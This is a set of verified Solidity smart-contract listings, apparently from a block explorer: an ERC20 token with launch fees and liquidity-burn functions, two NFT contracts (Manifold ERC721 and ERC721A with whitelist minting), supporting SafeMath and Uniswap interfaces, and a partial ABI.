b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } ////// src/IUniswapV2Factory.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } ////// src/IUniswapV2Pair.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } ////// src/IUniswapV2Router02.sol /* pragma solidity 0.8.10; */ /* pragma experimental ABIEncoderV2; */ interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } /* pragma solidity >=0.8.10; */ /* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */ /* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */ /* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */ /* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */ /* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */ /* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */ contract ORDINALDEGEN is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Ordinal Degen", "OD") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 25; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 25; uint256 _sellMarketingFee = 25; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 25; uint256 totalSupply = 1_000_000_000 * 1e18; maxTransactionAmount = 20_000_000 * 1e18; // 2% from total supply maxTransactionAmountTxn maxWallet = 30_000_000 * 1e18; // 3% from total supply maxWallet swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xd52c1858861E1a1E91822B70820CDDA380783f42); // set as marketing wallet devWallet = address(0x82d2Cd584D66e84FeBD03D63A3dAf8a2e6B9a5eF); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set maxTransactionAmount lower than 0.1%" ); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require( newNum >= ((totalSupply() * 5) / 1000) / 1e18, "Cannot set maxWallet lower than 0.5%" ); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner { swapEnabled = enabled; } function updateBuyFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 50, "Must keep fees at 50% or less"); } function updateSellFees( uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee ) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 50, "Must keep fees at 50% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); } else if (!_isExcludedMaxTransactionAmount[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }

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v0.8.10+commit.fc410830

Default

MIT

ipfs://2e5b45a18113531b4a0eb7b95f3b5fbc754674ae340c29231c3abe00236c29de

CRTDP

contracts/CRTDP.sol

0x518a76f68bb5d0f88e2ddb0f9918b88bd747f762

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: CRT Digital Physicals /// @author: manifold.xyz import "./manifold/ERC721Creator.sol"; ///////////////////////////////////////////////////////////////////////////////////////// // // // // // ######*###### // // ####*##%%##**#%#### // // ###%### #% %#### ###% // // ###%####*=: :=****# // // ##*-. :*#% // // %* *% // // #: =# // // #- =% // // %* :## // // %- .*% // // #- +% // // %- +% // // %* *% // // %* :===-: *# // // ##: =#####**###%+ -*# // // %##*####**- ::#%#= -### .=.*+#% // // %####*+==+*###* .*%%- .= -%#=- -+++###% // // ###+ ##+=*##. .###- ##+*++####%### // // %#%#. :### :##%#%%= -: +%#######+*#### // // %###: *#: :###*###*. +##=. .. .+### // // ####. :##= +#######%##+ .. :# // // #####*+=+*#= .... . =# // // %######-- ====++=: .-#% // // %*+=--:---:...........:-. =% // // ##.......................+ .#% // // #=........................:: :## // // +: .. ...............- -##### // // =.................:::......- ..**##% // // *- .-=+#########-....- : +***### // // %%%%%%%%#= ###**+=====-..-. :. *****## // // #%%##*:-##--:=:..:=-.+:=: ******##% // // %%##***-:. .=-:.+:. =******###%% // // %#**#* -##+-::-=:-:= -******##***#% // // %#***# .-**###*#**==: ********#******#% // // %####*#:-- .#*#####+ : ********##**#***##% // // %######*+ ######- + =**#***###*##********#%% // // %###****# =*####: +**###*****#************#%# // // %#*##****#+ ***#*## :#****##****#**************##% // // %#*##*****# .**#*#### +*******##**#****************#% // // %#*###*****+ -***###### :#********##*##*****************#% // // %#**#*#*****- =**#*#**#*# **********##**#******************#% // // %#**#**#*****-#*#*#*#****+ **********##***##*******************#% // // %#**#***#*****#*********#*=*#********##*****#********************#% // // %#*##****#****##*##******##*********##******##********************#% // // ###******##***##***#*#####*******###********#*********************#% // // %#*********#***##*#***###*******##**********##*********************## // // %#**********#****##***##******##*************#**********************## // // ##************#***#####*****##***************##**********************## // // %#**************##**###****##******************#***********************## // // %#****************#**#**###********************#************************#% // // %#*****************######**********************##************************#% // // %#*****************####*************************##************************#% // // %#*****************###**##**********************##*************************#% // // // // // ///////////////////////////////////////////////////////////////////////////////////////// contract CRTDP is ERC721Creator { constructor() ERC721Creator("CRT Digital Physicals", "CRTDP") {} }

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v0.8.17+commit.8df45f5f

london

0x5133522ea5a0494ecb83f26311a095ddd7a9d4b6

Elenoir

contracts/Elenoir.sol

0x01c41b30eabe98f8526fd4e3406db519793f7a27

Solidity

// SPDX-License-Identifier: MIT pragma solidity >=0.8.9 <0.9.0; import 'erc721a/contracts/ERC721A.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol'; import '@openzeppelin/contracts/security/ReentrancyGuard.sol'; // _/_/_/_/ _/ _/_/_/_/ _/ _/ _/_/ _/_/_/ _/_/_/ // _/ _/ _/ _/_/ _/ _/ _/ _/ _/ _/ // _/_/_/ _/ _/_/_/ _/ _/ _/ _/ _/ _/ _/_/_/ // _/ _/ _/ _/ _/_/ _/ _/ _/ _/ _/ // _/_/_/_/ _/_/_/_/ _/_/_/_/ _/ _/ _/_/ _/_/_/ _/ _/ contract Elenoir is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ''; string public uriSuffix = '.json'; string public hiddenMetadataUri; uint256 public wlcost; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _wlcost, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { setWLCost(_wlcost); setCost(_cost); setMaxSupply(_maxSupply); setMaxMintAmountPerTx(_maxMintAmountPerTx); setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, 'Invalid mint amount!'); require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!'); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, 'Insufficient funds!'); _; } modifier wlmintPriceCompliance(uint256 _mintAmount) { require(msg.value >= wlcost * _mintAmount, 'Insufficient funds!'); _; } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) wlmintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, 'The whitelist sale is not enabled!'); require(!whitelistClaimed[_msgSender()], 'Address already claimed!'); bytes32 leaf = keccak256(abi.encodePacked(_msgSender())); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!'); whitelistClaimed[_msgSender()] = true; _safeMint(_msgSender(), _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, 'The contract is paused!'); _safeMint(_msgSender(), _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _safeMint(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = _startTokenId(); uint256 ownedTokenIndex = 0; address latestOwnerAddress; while (ownedTokenIndex < ownerTokenCount && currentTokenId < _currentIndex) { TokenOwnership memory ownership = _ownerships[currentTokenId]; if (!ownership.burned) { if (ownership.addr != address(0)) { latestOwnerAddress = ownership.addr; } if (latestOwnerAddress == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } } currentTokenId++; } return ownedTokenIds; } function _startTokenId() internal view virtual override returns (uint256) { return 1; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require(_exists(_tokenId), 'ERC721Metadata: URI query for nonexistent token'); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ''; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setMaxSupply(uint256 _maxSupply) public onlyOwner { maxSupply = _maxSupply; } function setWLCost(uint256 _wlcost) public onlyOwner { wlcost = _wlcost; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { (bool os, ) = payable(owner()).call{value: address(this).balance}(''); require(os); } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } }

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renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"name":"setHiddenMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxMintAmountPerTx","type":"uint256"}],"name":"setMaxMintAmountPerTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxSupply","type":"uint256"}],"name":"setMaxSupply","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setPaused","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setRevealed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriPrefix","type":"string"}],"name":"setUriPrefix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriSuffix","type":"string"}],"name":"setUriSuffix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_wlcost","type":"uint256"}],"name":"setWLCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setWhitelistMintEnabled","outputs":[],"stateMutabili